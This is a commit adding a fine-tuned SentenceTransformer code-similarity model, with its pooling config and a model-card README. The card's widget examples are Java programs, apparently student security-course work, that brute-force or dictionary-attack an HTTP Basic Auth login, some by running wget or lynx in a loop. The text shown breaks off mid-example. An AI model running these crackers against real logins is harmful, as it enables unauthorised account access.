Add new SentenceTransformer model

1_Pooling/config.json

@@ -0,0 +1,10 @@
+{
+  "word_embedding_dimension": 768,
+  "pooling_mode_cls_token": false,
+  "pooling_mode_mean_tokens": true,
+  "pooling_mode_max_tokens": false,
+  "pooling_mode_mean_sqrt_len_tokens": false,
+  "pooling_mode_weightedmean_tokens": false,
+  "pooling_mode_lasttoken": false,
+  "include_prompt": true
+}

README.md

@@ -0,0 +1,1026 @@
+---
+tags:
+- sentence-transformers
+- sentence-similarity
+- feature-extraction
+- generated_from_trainer
+- dataset_size:33411
+- loss:SoftmaxLoss
+base_model: microsoft/unixcoder-base-unimodal
+widget:
+- source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\
+    public class Dictionary\n{\n   private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
+    ;\n   private static String password;\n   private static int length;         \
+    \ \n   private static int t_counter;       \n   private static int f_counter;\
+    \       \n                                       \n   private static int respCode;\
+    \        \n   private static BufferedReader buf;  \n\n   public Dictionary()\n\
+    \   {\n      FileReader fRead;\n      Authenticator.setDefault(new DictionaryAuthenticator());\n\
+    \      t_counter = 0;\n      f_counter = 0;\n      length = 0;\n\n      try\n\
+    \      {\n         fRead = new FileReader(\"/usr/share/lib/dict/words\");\n  \
+    \       buf = new BufferedReader(fRead);\n      }\n      catch (FileNotFoundException\
+    \ e)\n      {\n         System.out.println(\"File not found\");\n      }\n   }\n\
+    \n   public static void main(String[] args)\n   {\n      Dictionary dict = new\
+    \ Dictionary();\n      String file = \" \";\n      while(respCode != 200 )\n \
+    \     {\n         file = dict.fetchURL();\n      }\n      System.out.println(\"\
+    Number of attempts: \" + t_counter);\n      System.out.println(\"Password: \"\
+    \ + password);\n      System.out.println(file);\n   }\n\n   private String fetchURL()\n\
+    \   {\n      StringWriter sw = new StringWriter();\n      PrintWriter pw = new\
+    \ PrintWriter();\n\n      try\n      {\n         URL url = new URL(urlString);\n\
+    \         HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \
+    \        respCode = huc.getResponseCode();\n         InputStream content = huc.getInputStream();\n\
+    \         BufferedReader in = \n            new BufferedReader (new InputStreamReader\
+    \ (content));\n         String line;\n         while ((line = in.readLine()) !=\
+    \ null) \n         {\n            pw.println(line);\n         }\n      } catch\
+    \ (IOException e) {\n         pw.println(\"Error  URL\");\n      }\n      return\
+    \ sw.toString();\n   }\n            \n   class DictionaryAuthenticator extends\
+    \ Authenticator \n   {\n      private String username = \"\";\n\n      protected\
+    \ PasswordAuthentication getPasswordAuthentication()\n      {\n         return\
+    \ new PasswordAuthentication(username,generatePassword());\n      }\n\n      protected\
+    \ char[] generatePassword()\n      {\n         String word = null;\n         int\
+    \ chars;\n         char c[] = null;\n \n         chars = 0;\n       \n       \
+    \  if(f_counter == 0) \n         \n         \n         { \n            try\n \
+    \           {\n               \n               {\n                  word = buf.readLine();\n\
+    \                  if(word != null)\n                  {\n                   \
+    \  length = word.length();\n                     chars = 0;\n                \
+    \     for(int i=0; i<length; i++)\n                     {\n                  \
+    \      if(Character.isLetter(word.charAt(i))) chars++;\n                     }\n\
+    \                  }\n               }\n               while( word != null &&\
+    \ (length > 3 || chars != length));\n\n            }\n            catch (IOException\
+    \ ioe)\n            {\n               System.out.println(\"IO Error: \" + ioe);\n\
+    \            }\n\n            if(word != null)\n            {\n              \
+    \ c = word.toCharArray(); \n               password = new String(c);\n       \
+    \     } \n            else\n            {\n               System.out.println(\"\
+    \ more words in dictionary\");\n               System.exit(0);\n            }\n\
+    \n            f_counter++;\n         } \n         else\n         \n         {\n\
+    \            c = password.toCharArray(); \n            for(int i=0; i< length;\
+    \ i++)\n            {\n               if(Character.isLowerCase(c[i]))\n      \
+    \         {\n                  c[i] = Character.toUpperCase(c[i]);\n         \
+    \      }\n               else\n               {\n                  c[i] = Character.toLowerCase(c[i]);\n\
+    \               }\n            }\n            password = new String(c);\n    \
+    \        f_counter = 0;\n         }\n\n         t_counter++;\n\n         return\
+    \ c;\n      }\n   }\n}\n"
+  sentences:
+  - "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
+    \ Dictionary {\n\n  public static void main(String args[])\n  {\n  int i,j,k;\n\
+    \  String pass = new String();\n  String UserPass = new String();\n  String status\
+    \ = new String();\n  String status1 = new String();\n  BasicAuth auth = new BasicAuth();\n\
+    \  URLConnection  connect;\n   int start,end,diff;\n  try {\n               URL\
+    \ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n          \
+    \    start =System.currentTimeMillis();\n\n               BufferedReader dis =\
+    \ new BufferedReader(new FileReader(\"words\"));\n\n\n         while ((pass =\
+    \ dis.readLine()) != null)\n          {\n\n\n              UserPass= auth.encode(\"\
+    \",pass);\n\n              connect = url.openConnection();\n              connect.setDoInput(true);\n\
+    \              connect.setDoOutput(true);\n\n              connect.setRequestProperty(\"\
+    Host\",\"sec-crack.cs.rmit.edu.\");\n              connect.setRequestProperty(\"\
+    Get\",\"/SEC/2/ HTTP/1.1\");\n              connect.setRequestProperty(\"Authorization\"\
+    ,\" \" + UserPass);\n              connect.connect();\n              status =connect.getHeaderField(0);\n\
+    \              status1 = status.substring( 9,12);\n             if (status.equalsIgnoreCase(\"\
+    HTTP/1.1 200 OK\"))\n              {\n              System.out.println(\"Password\
+    \ is \" + pass);\n              end=System.currentTimeMillis();\n            \
+    \  diff = end - start;\n              System.out.println(\"Time Taken = \" + (diff/1000)\
+    \ + \" secs\");\n              System.exit(0);\n              }\n            \
+    \  ((HttpURLConnection)connect).disconnect();\n              connect = null;\n\
+    \            }\n\n            System.out.println(\" match found\");\n\n      \
+    \      dis.close();\n            dis=null;\n\n            connect = null;\n\n\
+    \     }\n\n    catch (MalformedURLException malerr)\n  {\n  System.err.println(\"\
+    Unable  Open URL\" + malerr);\n  }\n\n  catch (Exception ioerr)\n  {\n  System.err.println(\"\
+    Unable  open file\" + ioerr);\n  }\n\n\n\n\n  }\n}"
+  - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n\
+    {\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public\
+    \ static void main(String[] args) throws IOException\n {\n  BruteForce bf=new\
+    \ BruteForce();\n  System.out.println(\" cracking...\");\n   time1=new Date().getTime();\n\
+    \  bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"\
+    Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n  System.out.println(\"\
+    costs \"+(time2-time1)+\" milliseconds\");\n  System.exit(1);\n }\n\n void doBruteForce(int\
+    \ time1) throws IOException\n {\n  passwd=new char[3];\n  Runtime rt=Runtime.getRuntime();\n\
+    \   num=0;\n  for(int i=(int)'z';i>=(int)'A';i--)\n  {\n    if(i==96)\n     i=90;\n\
+    \    passwd[0]=(char)i;\n    for(int j=(int)'z';j>=(int)'A';j--)\n    {\n    \
+    \ if(j==96)\n      j=90;\n     passwd[1]=(char)j;\n     for(int k=(int)'z';k>=(int)'A';k--)\n\
+    \     {\n      if(k==96)\n       k=90;\n      passwd[2]=(char)k;\n      String\
+    \ password=new String(passwd);\n\t\t\ttry\n      {\n\t\t\t\tnum++;\n\n\t\t\t\t\
+    \n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
+    );\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\
+    \t      p.destroy();\n\n\t\t\t\tif(ln!=null)\n        \n        if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\
+    \        {\n\n          System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"\
+    Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"\
+    password is \"+password);\n           time2=new Date().getTime();\n          System.out.println(\"\
+    costs \"+(time2-time1)+\" milliseconds\");\n          System.out.println(\"The\
+    \ number of attempts is \"+num);\n\t\t      System.exit(1);\n        }\n     \
+    \   \n        \n\n      } catch (FileNotFoundException exc) {\n        System.out.println\
+    \ (\"File Not Found\");\n\t\t\t\tk++;\n      } catch (IOException exc) {\n\t\t\
+    \    System.out.println (\"IOException\");\n        k++;\n      } catch (NullPointerException\
+    \ exc) {\n\t\t    System.out.println (\"NullPointerException\");\n        k++;\n\
+    \t  \t}\n\n     }\n    }\n  }\n }\n}\n"
+  - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n\
+    {\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public\
+    \ static void main(String[] args) throws IOException\n {\n  BruteForce bf=new\
+    \ BruteForce();\n  System.out.println(\" cracking...\");\n   time1=new Date().getTime();\n\
+    \  bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"\
+    Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n  System.out.println(\"\
+    costs \"+(time2-time1)+\" milliseconds\");\n  System.exit(1);\n }\n\n void doBruteForce(int\
+    \ time1) throws IOException\n {\n  passwd=new char[3];\n  Runtime rt=Runtime.getRuntime();\n\
+    \   num=0;\n  for(int i=(int)'z';i>=(int)'A';i--)\n  {\n    if(i==96)\n     i=90;\n\
+    \    passwd[0]=(char)i;\n    for(int j=(int)'z';j>=(int)'A';j--)\n    {\n    \
+    \ if(j==96)\n      j=90;\n     passwd[1]=(char)j;\n     for(int k=(int)'z';k>=(int)'A';k--)\n\
+    \     {\n      if(k==96)\n       k=90;\n      passwd[2]=(char)k;\n      String\
+    \ password=new String(passwd);\n\t\t\ttry\n      {\n\t\t\t\tnum++;\n\n\t\t\t\t\
+    \n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
+    );\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\
+    \t      p.destroy();\n\n\t\t\t\tif(ln!=null)\n        \n        if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\
+    \        {\n\n          System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"\
+    Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"\
+    password is \"+password);\n           time2=new Date().getTime();\n          System.out.println(\"\
+    costs \"+(time2-time1)+\" milliseconds\");\n          System.out.println(\"The\
+    \ number of attempts is \"+num);\n\t\t      System.exit(1);\n        }\n     \
+    \   \n        \n\n      } catch (FileNotFoundException exc) {\n        System.out.println\
+    \ (\"File Not Found\");\n\t\t\t\tk++;\n      } catch (IOException exc) {\n\t\t\
+    \    System.out.println (\"IOException\");\n        k++;\n      } catch (NullPointerException\
+    \ exc) {\n\t\t    System.out.println (\"NullPointerException\");\n        k++;\n\
+    \t  \t}\n\n     }\n    }\n  }\n }\n}\n"
+- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\
+    \npublic class Dictionary\n{\n   public static void main(String args[])\n   {\n\
+    \      final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n      String\
+    \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n      String password;\n\
+    \      String s = null;\n      int num_tries = 0;\n      \n      try\n      {\n\
+    \         \n         BufferedReader dict_word = new BufferedReader\n         \
+    \                         (new FileReader (DICT_FILE));\n  \n         \n     \
+    \    while((password = dict_word.readLine())!= null)\n         {        \n   \
+    \         try \n            {\n               \n               Process p = Runtime.getRuntime().exec(\"\
+    wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n        \
+    \      \n               BufferedReader stdInput = new BufferedReader(new \n  \
+    \                   InputStreamReader(p.getInputStream()));\n\n              \
+    \ BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\
+    \n               \n               while ((s = stdInput.readLine()) != null)\n\
+    \               {\n                  System.out.println(s);\n               }\n\
+    \                  \n               \n               while ((s = stdError.readLine())\
+    \ != null)\n               {\n                  System.out.println(s);\n     \
+    \          }\n\n               try\n\t       {\n                  p.waitFor();\
+    \ \n               }\n               catch (InterruptedException g)  \n      \
+    \         {\n               }  \n\n               num_tries++;\n             \
+    \     \n               if((p.exitValue()) == 0) \n               {       \n  \
+    \                System.out.println(\"**********PASSWORD IS: \" + password);\n\
+    \t          System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
+    \                  System.exit(1);\n               }\n            }\n        \
+    \    catch (IOException e)\n            {\n               System.out.println(\"\
+    exception happened - here's what I know: \");\n               e.printStackTrace();\n\
+    \               System.exit(-1);\n            }\n         }\n         \n     \
+    \    System.out.println(\"DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD\");\n \
+    \        System.out.println(\"**********Sorry, password was not found in dictionary\
+    \ file\");\n         System.exit(1);\n\n      }\n      catch (FileNotFoundException\
+    \ exception)\n      {\n         System.out.println(exception);\n      }\n    \
+    \  catch (IOException exception)\n      {\n         System.out.println(exception);\n\
+    \      }\n   }\n}\n  \n"
+  sentences:
+  - "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
+    \ Dictionary {\n\n  public static void main(String args[])\n  {\n  int i,j,k;\n\
+    \  String pass = new String();\n  String UserPass = new String();\n  String status\
+    \ = new String();\n  String status1 = new String();\n  BasicAuth auth = new BasicAuth();\n\
+    \  URLConnection  connect;\n   int start,end,diff;\n  try {\n               URL\
+    \ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n          \
+    \    start =System.currentTimeMillis();\n\n               BufferedReader dis =\
+    \ new BufferedReader(new FileReader(\"words\"));\n\n\n         while ((pass =\
+    \ dis.readLine()) != null)\n          {\n\n\n              UserPass= auth.encode(\"\
+    \",pass);\n\n              connect = url.openConnection();\n              connect.setDoInput(true);\n\
+    \              connect.setDoOutput(true);\n\n              connect.setRequestProperty(\"\
+    Host\",\"sec-crack.cs.rmit.edu.\");\n              connect.setRequestProperty(\"\
+    Get\",\"/SEC/2/ HTTP/1.1\");\n              connect.setRequestProperty(\"Authorization\"\
+    ,\" \" + UserPass);\n              connect.connect();\n              status =connect.getHeaderField(0);\n\
+    \              status1 = status.substring( 9,12);\n             if (status.equalsIgnoreCase(\"\
+    HTTP/1.1 200 OK\"))\n              {\n              System.out.println(\"Password\
+    \ is \" + pass);\n              end=System.currentTimeMillis();\n            \
+    \  diff = end - start;\n              System.out.println(\"Time Taken = \" + (diff/1000)\
+    \ + \" secs\");\n              System.exit(0);\n              }\n            \
+    \  ((HttpURLConnection)connect).disconnect();\n              connect = null;\n\
+    \            }\n\n            System.out.println(\" match found\");\n\n      \
+    \      dis.close();\n            dis=null;\n\n            connect = null;\n\n\
+    \     }\n\n    catch (MalformedURLException malerr)\n  {\n  System.err.println(\"\
+    Unable  Open URL\" + malerr);\n  }\n\n  catch (Exception ioerr)\n  {\n  System.err.println(\"\
+    Unable  open file\" + ioerr);\n  }\n\n\n\n\n  }\n}"
+  - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters\
+    \ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
+    \ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
+    \ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
+    \ 'V', 'W', 'X', 'Y', 'Z'};\n   private Vector v;\n\n   public Cracker()\n   {\n\
+    \      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int\
+    \ i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new\
+    \ StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n\
+    \   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void\
+    \ loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length -\
+    \ 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n      \
+    \   {\n            String s1 = new StringBuffer().append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append(\
+    \ letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n\
+    \      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new\
+    \ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
+    \ s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n\
+    \      \n      for( i = 0; i < letters.length; i++)\n      {\n         String\
+    \ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
+    \t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n    \
+    \  {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5\
+    \ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
+    \t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append(\
+    \ letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append(\
+    \ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String\
+    \ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
+    \t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add(\
+    \ s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n     \
+    \ }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j\
+    \ = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length;\
+    \ k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append(\
+    \ letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append(\
+    \ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String\
+    \ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
+    \t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
+    \t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
+    \t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
+    \t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t      \
+    \ v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n\
+    \      }\n   }\n         \n   public static void main( String[] args)\n   {\n\
+    \      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n\
+    \      cr.loadTriples();\n      System.out.println(\" far \"+cr.getVictor().size()+\"\
+    \ elements loaded\");\n   }\n}\n      \n"
+  - "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
+    \ Dictionary {\n\n  public static void main(String args[])\n  {\n  int i,j,k;\n\
+    \  String pass = new String();\n  String UserPass = new String();\n  String status\
+    \ = new String();\n  String status1 = new String();\n  BasicAuth auth = new BasicAuth();\n\
+    \  URLConnection  connect;\n   int start,end,diff;\n  try {\n               URL\
+    \ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n          \
+    \    start =System.currentTimeMillis();\n\n               BufferedReader dis =\
+    \ new BufferedReader(new FileReader(\"words\"));\n\n\n         while ((pass =\
+    \ dis.readLine()) != null)\n          {\n\n\n              UserPass= auth.encode(\"\
+    \",pass);\n\n              connect = url.openConnection();\n              connect.setDoInput(true);\n\
+    \              connect.setDoOutput(true);\n\n              connect.setRequestProperty(\"\
+    Host\",\"sec-crack.cs.rmit.edu.\");\n              connect.setRequestProperty(\"\
+    Get\",\"/SEC/2/ HTTP/1.1\");\n              connect.setRequestProperty(\"Authorization\"\
+    ,\" \" + UserPass);\n              connect.connect();\n              status =connect.getHeaderField(0);\n\
+    \              status1 = status.substring( 9,12);\n             if (status.equalsIgnoreCase(\"\
+    HTTP/1.1 200 OK\"))\n              {\n              System.out.println(\"Password\
+    \ is \" + pass);\n              end=System.currentTimeMillis();\n            \
+    \  diff = end - start;\n              System.out.println(\"Time Taken = \" + (diff/1000)\
+    \ + \" secs\");\n              System.exit(0);\n              }\n            \
+    \  ((HttpURLConnection)connect).disconnect();\n              connect = null;\n\
+    \            }\n\n            System.out.println(\" match found\");\n\n      \
+    \      dis.close();\n            dis=null;\n\n            connect = null;\n\n\
+    \     }\n\n    catch (MalformedURLException malerr)\n  {\n  System.err.println(\"\
+    Unable  Open URL\" + malerr);\n  }\n\n  catch (Exception ioerr)\n  {\n  System.err.println(\"\
+    Unable  open file\" + ioerr);\n  }\n\n\n\n\n  }\n}"
+- source_sentence: "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce\
+    \ {\n\n   public static void main(String[] args) {\n      new CrackAttempt();\n\
+    \   }\n}\n\nclass CrackAttempt {\n   public CrackAttempt() {\n      final int\
+    \ MAX_LENGTH = 3;\n      boolean auth = false;\n      Date  = new Date();\n  \
+    \    boolean morePasswords = true;\n      int passPtr = 0;\n      StringBuffer\
+    \ validChars = new StringBuffer(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
+    );\n      char[] password = new char[MAX_LENGTH];\n\n      password[0] = validChars.charAt(0);\n\
+    \      while (!auth && morePasswords) {\n         String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
+    ;\n         try {\n            \n            Authenticator.setDefault(new CrackAuth(password));\n\
+    \            URL url = new URL(resource);\n            HttpURLConnection conn\
+    \ = (HttpURLConnection)url.openConnection();\n            conn.setRequestMethod(\"\
+    HEAD\");\n            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
+    \ {\n               System.out.println(\"cracked with \" + new String(password));\n\
+    \               auth = true;\n            }\n         } catch (Exception e) {\n\
+    \            System.out.println(\" was  exception: \" + e.getMessage());\n   \
+    \      }\n         int count = passPtr;\n         while (true) {\n           \
+    \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n     \
+    \          password[count] = validChars.charAt(0);\n               count--;\n\
+    \            } else {\n               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
+    \ + 1);\n               break;\n            }\n            if (count < 0) {\n\
+    \               \n               if (passPtr < MAX_LENGTH - 1) {\n           \
+    \       passPtr++;\n                  password[passPtr] = validChars.charAt(0);\n\
+    \               } else {\n                  morePasswords = false;\n         \
+    \      }\n               break;\n            }\n         }\n         \n      }\
+    \ \n      if (!auth) {\n         System.out.println(\"Unable  determine password\"\
+    );\n      } else {\n          time = (new Date()).getTime() - start.getTime();\n\
+    \         System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
+    \  crack the password\");\n      }\n   }\n}\n\nclass CrackAuth extends Authenticator\
+    \ {\n   char[] password;\n   public CrackAuth(char[] password) {\n      this.password\
+    \ = password;\n   }\n\n   protected PasswordAuthentication getPasswordAuthentication()\n\
+    \   {\n      String user = \"\";\n      return new PasswordAuthentication(user,\
+    \ password);\n   }\n}\n"
+  sentences:
+  - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\
+    public class Dictionary\n{\n   public static void main(String args[])\n   {\n\
+    \      final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n      String\
+    \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n      String password;\n\
+    \      String s = null;\n      int num_tries = 0;\n      \n      try\n      {\n\
+    \         \n         BufferedReader dict_word = new BufferedReader\n         \
+    \                         (new FileReader (DICT_FILE));\n  \n         \n     \
+    \    while((password = dict_word.readLine())!= null)\n         {        \n   \
+    \         try \n            {\n               \n               Process p = Runtime.getRuntime().exec(\"\
+    wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n        \
+    \      \n               BufferedReader stdInput = new BufferedReader(new \n  \
+    \                   InputStreamReader(p.getInputStream()));\n\n              \
+    \ BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\
+    \n               \n               while ((s = stdInput.readLine()) != null)\n\
+    \               {\n                  System.out.println(s);\n               }\n\
+    \                  \n               \n               while ((s = stdError.readLine())\
+    \ != null)\n               {\n                  System.out.println(s);\n     \
+    \          }\n\n               try\n\t       {\n                  p.waitFor();\
+    \ \n               }\n               catch (InterruptedException g)  \n      \
+    \         {\n               }  \n\n               num_tries++;\n             \
+    \     \n               if((p.exitValue()) == 0) \n               {       \n  \
+    \                System.out.println(\"**********PASSWORD IS: \" + password);\n\
+    \t          System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
+    \                  System.exit(1);\n               }\n            }\n        \
+    \    catch (IOException e)\n            {\n               System.out.println(\"\
+    exception happened - here's what I know: \");\n               e.printStackTrace();\n\
+    \               System.exit(-1);\n            }\n         }\n         \n     \
+    \    System.out.println(\"DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD\");\n \
+    \        System.out.println(\"**********Sorry, password was not found in dictionary\
+    \ file\");\n         System.exit(1);\n\n      }\n      catch (FileNotFoundException\
+    \ exception)\n      {\n         System.out.println(exception);\n      }\n    \
+    \  catch (IOException exception)\n      {\n         System.out.println(exception);\n\
+    \      }\n   }\n}\n  \n"
+  - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\
+    public class Dictionary\n{\n   public static void main(String args[])\n   {\n\
+    \      final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n      String\
+    \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n      String password;\n\
+    \      String s = null;\n      int num_tries = 0;\n      \n      try\n      {\n\
+    \         \n         BufferedReader dict_word = new BufferedReader\n         \
+    \                         (new FileReader (DICT_FILE));\n  \n         \n     \
+    \    while((password = dict_word.readLine())!= null)\n         {        \n   \
+    \         try \n            {\n               \n               Process p = Runtime.getRuntime().exec(\"\
+    wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n        \
+    \      \n               BufferedReader stdInput = new BufferedReader(new \n  \
+    \                   InputStreamReader(p.getInputStream()));\n\n              \
+    \ BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\
+    \n               \n               while ((s = stdInput.readLine()) != null)\n\
+    \               {\n                  System.out.println(s);\n               }\n\
+    \                  \n               \n               while ((s = stdError.readLine())\
+    \ != null)\n               {\n                  System.out.println(s);\n     \
+    \          }\n\n               try\n\t       {\n                  p.waitFor();\
+    \ \n               }\n               catch (InterruptedException g)  \n      \
+    \         {\n               }  \n\n               num_tries++;\n             \
+    \     \n               if((p.exitValue()) == 0) \n               {       \n  \
+    \                System.out.println(\"**********PASSWORD IS: \" + password);\n\
+    \t          System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
+    \                  System.exit(1);\n               }\n            }\n        \
+    \    catch (IOException e)\n            {\n               System.out.println(\"\
+    exception happened - here's what I know: \");\n               e.printStackTrace();\n\
+    \               System.exit(-1);\n            }\n         }\n         \n     \
+    \    System.out.println(\"DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD\");\n \
+    \        System.out.println(\"**********Sorry, password was not found in dictionary\
+    \ file\");\n         System.exit(1);\n\n      }\n      catch (FileNotFoundException\
+    \ exception)\n      {\n         System.out.println(exception);\n      }\n    \
+    \  catch (IOException exception)\n      {\n         System.out.println(exception);\n\
+    \      }\n   }\n}\n  \n"
+  - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters\
+    \ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
+    \ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
+    \ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
+    \ 'V', 'W', 'X', 'Y', 'Z'};\n   private Vector v;\n\n   public Cracker()\n   {\n\
+    \      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int\
+    \ i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new\
+    \ StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n\
+    \   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void\
+    \ loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length -\
+    \ 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n      \
+    \   {\n            String s1 = new StringBuffer().append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append(\
+    \ letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n\
+    \      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new\
+    \ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
+    \ s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n\
+    \      \n      for( i = 0; i < letters.length; i++)\n      {\n         String\
+    \ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
+    \t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n    \
+    \  {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5\
+    \ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
